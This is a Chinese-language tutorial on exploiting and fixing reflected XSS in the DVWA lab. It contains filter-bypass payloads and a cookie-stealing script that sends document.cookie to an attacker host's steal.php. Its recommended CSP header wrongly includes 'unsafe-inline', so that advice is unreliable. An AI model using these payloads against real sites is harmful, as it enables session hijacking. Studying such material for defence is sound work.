【web安全】DVWA反射型XSS漏洞分析与利用
目录
一、环境搭建与漏洞原理
1.1 反射型XSS原理
二、Low安全级别漏洞分析
2.1 漏洞代码分析
2.2 利用方式
三、Medium/High安全级别绕过
3.1 Medium级别防护分析
3.2 High级别防护分析
3.3 各级别防护对比
四、Impossible级别与防御方案
4.1 Impossible级别实现
4.2 企业级防御方案
一、环境搭建与漏洞原理
1.1 反射型XSS原理
反射型XSS(Reflected XSS)特点:
-
恶意脚本通过URL参数注入
-
服务端未过滤直接嵌入到响应中
-
需要诱导用户点击特定链接触发
-
攻击效果是一次性的
漏洞产生流程:
攻击者构造URL → 用户点击 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本
二、Low安全级别漏洞分析
2.1 漏洞代码分析
<?php
header("X-XSS-Protection: 0");
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL){echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>
漏洞点:直接输出用户输入,无任何过滤
2.2 利用方式
基础Payload:
http://192.168.21.4/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
高级利用(窃取Cookie):
<script>
new Image().src="http://192.168.21.1/steal.php?cookie="+encodeURIComponent(document.cookie);
</script>
192.168.21.1服务器上收到cookie的值
图2.1 成功执行任意JavaScript代码
三、Medium/High安全级别绕过
3.1 Medium级别防护分析
关键代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
?>
发现进行了<script>过滤
绕过方法:
-
大小写混淆:
<ScRiPt>alert(1)</ScRiPt>
-
嵌套标签:
<scr<script>ipt>alert(1)</script>
-
使用非script标签:
<img src=x onerror=alert(1)>
3.2 High级别防护分析
关键代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
?>
防护原理:使用正则表达式匹配并删除<script>标签及其变体
-
<(.*):匹配<后跟任意字符(包括无字符)
-
s(.)c(.)...:强制按顺序匹配s、c、r、i、p、t字母
-
/i:不区分大小写
绕过方法:
-
SVG标签:
<svg/onload=alert(1)>
-
事件属性:
<body onpageshow=alert(1)>
-
伪协议:
<a href="javascript:alert(1)">click</a>
3.3 各级别防护对比
安全级别 | 防护措施 | 有效Payload示例 |
---|---|---|
Low | 无过滤 | <script>alert(1)</script> |
Medium | 移除<script> 字符串 | <img src=x onerror=alert(1)> |
High | 正则过滤script标签 | <svg/onload=alert(document.domain)> |
Impossible | htmlspecialchars转义 | 无有效绕过方式 |
四、Impossible级别与防御方案
4.1 Impossible级别实现
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars防护原理:
-
将特殊字符转换为HTML实体
-
例如:
<
→<
,"
→"
4.2 企业级防御方案
-
输入验证(白名单原则):
if(!preg_match('/^[a-zA-Z0-9]+$/', $input)){die("Invalid input"); }
-
输出编码:
// HTML上下文 htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); // JavaScript上下文 json_encode($str, JSON_HEX_TAG);
-
内容安全策略(CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
内容安全策略(CSP)详解:Web安全的关键防线-CSDN博客
-
现代前端框架防护:
-
React/Vue/Angular默认自动转义
-